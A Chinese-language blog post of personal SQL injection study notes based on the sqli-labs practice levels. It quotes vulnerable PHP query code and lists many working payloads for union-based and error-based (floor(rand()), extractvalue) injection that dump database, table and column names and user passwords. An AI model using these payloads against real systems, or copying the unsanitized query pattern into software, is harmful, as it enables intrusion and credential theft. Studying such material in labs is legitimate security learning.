sqli笔记一

sql语句:

select* from 表名 where 列名=and(or) 1=1
&& || 
一、get型

第一关代码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

构造语句:
(注释语句 --+在marinedb中不能执行,为了保险起见,用–还有–+以及#进行尝试,sql版本不一样可能采取不一样的注释符)

id=1' and 1=1 --+	执行
id=1' and 1&1 --+	没有执行
id=1' and 1&&1 --+	没有执行
id=1' || '1' --+	执行
id=1' | '1'--+		执行

sql的位运算实际是很有用的,需要去了解一下。

基础知识

判断列数:

order by 是依照列进行排序。
id=1' order by 1 --+按照第一列来进行排序  执行
id=1' order by 4 --+按照第4列进行排序,返回:unknown column 4 in order clause.说明没有第四列
id=1' order by 1,2,3,4,5,6,7--+ 返回:unknown column 4 in order clause.
union 联合查询
id=1' and 1=1 union select 1,2,3,4,5--+ 返回:the usedselect statements have a different number of columns 

说明union前后的列数不一样,这个语句也可以用来判断有多少列。

id=1' and 1=2 union select 1,2,3 --+可以让它只显示union后面的语句。
version()用来显示mysql的版本,不同的版本会有不同的漏洞
group_concat,会将同一列的元素组合起来,默认用逗号分开。
id=1' and 1=2 union select 1, group_concat(schema_name),3 from information_schema.schemata --+
在二号位返回了所有的数据库的名字
  • information_schema可以看成是一个总的数据库,里面保存着数据库名、数据库表等数据

在这里插入图片描述

  • schemata表,提供所有数据库的信息。

在这里插入图片描述

  • schema_name:在一个数据库中可以有多个应用的数据表,这些不同应用的表可以放在不同的schema之中,相当于这一列里面就是储存着各个数据库的名字,
  • tables表,提供了关于数据库中的表的信息。
    在这里插入图片描述
  • table_schema:数据库的名称;table_name:库中的表名
  • columns表,提供了列信息
    用的时候information_schema.tables表示所有表的信息,其他类似
    还有好多表,但不常用。不记了
    在这里插入图片描述
  • column_name:表中的列名

爆库

查看数据库security里面的表名:
id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
查看表中的列名:
id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
通过列查询表中数据:
id=-1' union select 1,username,password from users where id=1--+
看表中指定列的数据:
id=1' union select 1, group_concat(username,password),3 from users--+
二、二次查询

常用内置函数:
user()、database()……
当有位置可以显示查询到的结果,一个显示位只能显示一个字段,当要让很多信息在一个显示位同时显示出来,这就是二次查询的意义。

基础知识
concat:可以把字符串连接起来
select concat('ddd','#','aaa')
返回:ddd#aaa
select concat((select user()),'#','aaa')
返回:root#aaa
select concat((select user()),'#',(select database()))
返回:root#cms
不同的数据库可能不一样,可能是(select user(),也可能是[select user()]
rand:随机函数,产生0-1之间的浮点数
select rand() from 表名
返回:这个表有多少列,就返回多少列的0-1之间的随机数。
select floor(rand()) from 表名
floor取整,返回的都是零值
select floor(rand()*2) from 表名
返回值会出现1

group by 或者order by 某些语句做排序时不能有相同的键值。

select * from 表名 where 列名=floor(rand()*10)
有时候会报错,有时候是空的,有时候能查出来,
若有时不知道列的具体范围,可以通过rand的随机性可以取到列名的不同的值,就可能可以得到想要的数据。
count:统计
select count(*) from 
统计有多少个值
select count(*) from information_schema.tables where table_schema='security'--+
返回能得出security库中有多少个表
select count(*),concat(0x23,(select user()),0x23,floor(rand()*2)) as a from information_schema.tables group by a

在这里插入图片描述
在这里插入图片描述
有时候能显示,有时候又报错
因为select count(*)是执行了的,将concat(0x23,(select user()),0x23,
floor(rand()*2))当做a来执行,当group_by的时候,根据a来分组,但由于rand的随机性,a会出现一样的值,此时就会报错,像图中一样,rand值为不一样的就能显示出来。

第五关代码:


	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	

只要查询成功,显示的都是you are in ……但是从print_r(mysql_error())可以看出,只要出错了,它会把错误信息显示出来。

id=1' union select 1,count(*),concat(0x2d,(select database()),0x2d,floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
爆出表名 security

id=1' union select 1,count(*),concat(0x2d,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x2d,floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
返回了referens 这是security库里的第二个表名
在这里插入图片描述
limit 0,1就是选出从第0个开始,选1个。
改变 limit 的限制值就可以逐个爆出表名。

id=1' union select 1,count(*),concat(0x2d,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x2d,floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
爆出了列名

id=1' union select 1,count(*),
concat(0x2d,(select password from users limit 4,1),0x2d,floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
爆出了密码

extractvalue():对xml文档进行查询,当第二个参数的格式不是规定的格式,那就报错。
id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

这个函数更好用,因为显然第二个参数的格式不是规定的格式,所以百分百报错,没有随机正确的可能。但是它的显示有长度限制。能查询的最大长度的字符串为32位。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值